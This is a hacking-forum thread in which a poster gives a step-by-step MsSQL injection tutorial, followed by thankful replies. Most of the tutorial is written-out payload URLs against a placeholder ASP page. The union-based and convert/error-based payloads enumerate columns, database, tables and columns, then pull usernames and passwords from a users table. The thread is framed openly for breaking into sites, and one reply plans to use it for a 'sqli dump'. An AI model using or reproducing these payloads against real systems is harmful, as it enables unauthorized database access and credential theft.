

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] MsSQL Injection](#)

-zERaIT - November 19, 2014, 9:57 am

MsSQL Injection

In this tutorial we'll be going through 2 different MsSQL Injection. MsSQL - Union Attack
MsSQL - Convert Attack

MsSQL - Union Attack

We'll be using the following website:

PHP Code

```
<?php
```

```
http://site.com/hello.asp?id=1
```

Getting the amount of columns

Let's try.

PHP Code

```
<?php
```

```
http://site.com/hello.asp?id=1 order by 5--
```

Website response

Quote:ADODB.Recordset Error '800a0bcd '

Either BOF or EOF is True, or the current record has been deleted requested operation requires a current record.

/ hello.asp, line 18

Now increase your column count.

PHP Code

```
<?php
```

```
http://site.com/hello.asp?id=1 order by 8--
```

Website response

Quote:Microsoft OLE DB Provider for ODBC Drivers Error '80040e14 '

[Microsoft] [ODBC SQL Server Driver] [SQL Server] The number of ORDER BY position 13 is outside the range of elements in the select list.

/ manager.asp, line 9

Now try column 7, cause 8 was out of range.

PHP Code

```
<?php
```

```
http://site.com/hello.asp?id=1 order by 7--
```

Website response

Quote:ADODB.Recordset Error '800a0bcd '

Either BOF or EOF is True, or the current record has been deleted requested operation requires a current record.

/ hello.asp, line 18

This means that the website has "7" columns.

Getting vulnerable column

PHP Code

```
<?php
```

```
http://site.com/hello.asp?id=1 union select 1,2,3,4,5,6,7--
```

This will display the vulnerable columns, for example we take "2".

Getting the database

PHP Code

```
<?php
```

```
http://site.com/hello.asp?id=1 union select 1,db_name(),3,4,5,6,7--
```

This will display the database name, for example we take "hello_db".

Getting tables from database

PHP Code

```
<?php
```

```
http:
```

```
//site.com/hello.asp?id=1 union select 1,table_name,3,4,5,6,7 from information_schema.tables--
```

This will display the table, for example we take "contact".

However, the contact table isn't interesting us, we want something similar as "Users", "Admins" etcetra, so we continue to search.

PHP Code

```
<?php
```

```
http:
```

```
//site.com/hello.asp?id=1 union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_name not in ('contact')--
```

This will display the table, for example we take "users".

Getting columns from table

PHP Code

```
<?php
```

```
http:
```

```
//site.com/hello.asp?id=1 union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'--
```

This will display the table, for example we take "username".

However we're searching for the username and password, so we continue.

PHP Code

```
<?php
```

```
http:
```

```
//site.com/hello.asp?id=1 union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' and column_name not in ('username')--
```

This will display the table, for example we take "password".

So now we have both "username" and "password" as columns.

Getting data from columns

PHP Code

<?php

http://site.com/hello.asp?id=1 union select 1,username,3,4,5,6,7 from users--

This will give us the username, for example "admin".

PHP Code

<?php

http://site.com/hello.asp?id=1 union select 1,password,3,4,5,6,7 from users--

This will give us the password, for example "nimda"

MsSQL - Convert Attack

Getting the database

PHP Code

<?php

http://site.com/hello.asp?id=1+and+1=convert(int,db_name)--

This will give us the database name, for example we take "hello_db".

Getting tables from database

PHP Code

<?php

http:
//site.com/hello.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.
tables))--

This will give us the table name, for example we take "contact".

However, this is not interesting so we continue to look others.

PHP Code

<?php

http:
//site.com/hello.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.
tables+where+table_name+not+in+('contact')))--

This will give us the table name, for example we take "users".

Getting columns from table

PHP Code

<?php

http:
//site.com/hello.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_sche
ma.columns+where+table_name='users'))--

This will give us the column name, for example we take "username".

However, we want another column which would provide us with the password.

PHP Code

<?php

http:
//site.com/hello.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_sche
ma.columns+where+table_name='users'+and+column_name+not+in+('username')))--

This will give us the column name, for example we take "password".

Now we have 2 column names, named "username" & "password".

Getting data from columns

PHP Code

<?php

http://site.com/hello.asp?id=1+and+1=convert(int,(select+top+1+username+from+users))--

This will give us the data from the column "username", for example "admin".

PHP Code

<?php

http://site.com/hello.asp?id=1+and+1=convert(int,(select+top+1+password+from+users))--

This will give us the data from the column "password", for example "nimda".

You can read my other tutorials by clicking below.[\[Tutorial\] Basic / Union based SQL Injection](#)

[\[Tutorial\] String Based SQL Injection](#)

[\[Tutorial\] MsSQL Injection](#)

[\[Tutorial\] Web Application Firewall \[WAF\]](#)

[\[Tutorial\] Server Side Include Injection \[SSI Injection\]](#)

[\[Tutorial\] XPath Injection \[ExtractValue\]](#)

[\[Tutorial\] Remote File Inclusion](#)

[\[Tutorial\] Directory Traversal](#)

Thats it for now, if you still have any questions related to MsSQL Injections then feel free to hit me up.

Thanks for viewing my thread.?

Aceman - November 25, 2014, 8:28 am

Thank you for this Ladax. I'll be sure to reference this if need be.

k44j1gujj4r - November 25, 2014, 8:35 am

nice share br0 ,

keep it up

~k44j1gujj4r~

hacbach - November 25, 2014, 5:03 pm

Thank you that was exactly what I needed

RelaxMax - November 25, 2014, 9:26 pm

Thank you for this Tutorial, now i'll use the sqli dump and i know what i do

m_a_s_h - November 26, 2014, 1:01 pm

Thanks for this tutorial. Bookmarked :)

AkDK - May 25, 2016, 6:27 am

Good ONE Bro Like This Post

54j1b - May 31, 2016, 3:42 am

Nice Post

Thank you So much...../